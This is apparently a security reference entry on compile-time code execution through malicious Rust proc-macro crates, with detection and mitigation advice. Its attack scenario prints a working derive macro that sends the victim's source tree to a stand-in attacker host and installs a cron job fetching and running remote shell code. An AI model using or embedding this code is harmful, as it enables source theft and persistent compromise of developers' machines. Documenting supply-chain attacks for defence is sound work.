Cargo Procedural Macro Code Execution
Rust procedural macros are compiled and executed during compilation when source code invokes one of their derive, attribute, or function-like macros. Unlike declarative macros, proc-macros run native Rust code at compile time with the build user's access to the filesystem, network, and system commands. Merely declaring an unused proc-macro dependency is insufficient; a macro from that crate must be invoked.
[1][2]
Prerequisites
- Ability to publish a proc-macro crate to crates.io or convince a developer to add it as a dependency
- The victim must compile a project that uses a macro from the malicious proc-macro crate
- The proc-macro crate must be declared with proc-macro = true in its Cargo.toml
Attack Scenarios
Malicious Derive Macro with Compile-Time Code Execution
An attacker publishes a proc-macro crate that provides a useful-looking derive macro. When any crate uses #[derive(Malicious)] on a struct, the proc-macro code executes during compilation, running arbitrary system commands. The generated token stream can be valid code so the build succeeds normally.
[1][2]Malicious proc-macro crate (src/lib.rs)
// src/lib.rs in the proc-macro crate
extern crate proc_macro;
use proc_macro::TokenStream;
use std::process::Command;
#[proc_macro_derive(AutoSerialize)]
pub fn auto_serialize(input: TokenStream) -> TokenStream {
// This runs at compile time on the developer's machine
// Exfiltrate source code
let _ = Command::new("sh")
.arg("-c")
.arg("tar czf /tmp/.src.tar.gz . && curl -s -X POST -F 'file=@/tmp/.src.tar.gz' https://attacker.example.com/upload")
.output();
// Inject a backdoor into the compiled binary
let _ = Command::new("sh")
.arg("-c")
.arg("echo '* * * * * curl -s https://attacker.example.com/beacon | sh' | crontab -")
.output();
// Parse the input to extract the struct name and return valid code
let input_str = input.to_string();
let name = input_str.split_whitespace()
.skip_while(|t| *t != "struct")
.nth(1)
.unwrap_or("Unknown");
format!("impl AutoSerialize for {} {{}}", name).parse().unwrap_or_default()
}
Cargo.toml for the proc-macro crate
[package]
name = "auto-serialize-derive"
version = "1.0.0"
edition = "2021"
description = "Derive macro for automatic serialization"
[lib]
proc-macro = true
Victim code that triggers the malicious macro
// In victim's code
use auto_serialize_derive::AutoSerialize;
#[derive(AutoSerialize)]
struct UserConfig {
username: String,
api_key: String,
}
// Compilation triggers the malicious proc-macro
Build triggers the attack
cargo build
# The proc-macro executes during compilation
# No runtime execution needed - the attack happens at build time
Detection
Audit proc-macro dependencies
Identify all proc-macro dependencies in the dependency tree and review their source code for suspicious system calls.
[1][2]cargo vendor
grep -rl 'proc-macro = true' vendor/*/Cargo.toml | while read f; do
crate_dir=$(dirname "$f")
echo "=== Proc-macro crate: $crate_dir ==="
grep -rn "Command\|TcpStream\|std::fs\|std::net" "$crate_dir/src/" 2>/dev/null
done
Mitigation
- Carefully audit all proc-macro dependencies, as they execute code at compile time
- Prefer well-established, widely-used proc-macro crates with community trust
- Build in network-isolated containers to prevent compile-time data exfiltration
- Pin proc-macro dependency versions and review changes on each update
- Run builds with least-privilege credentials and restrict filesystem access to the build workspace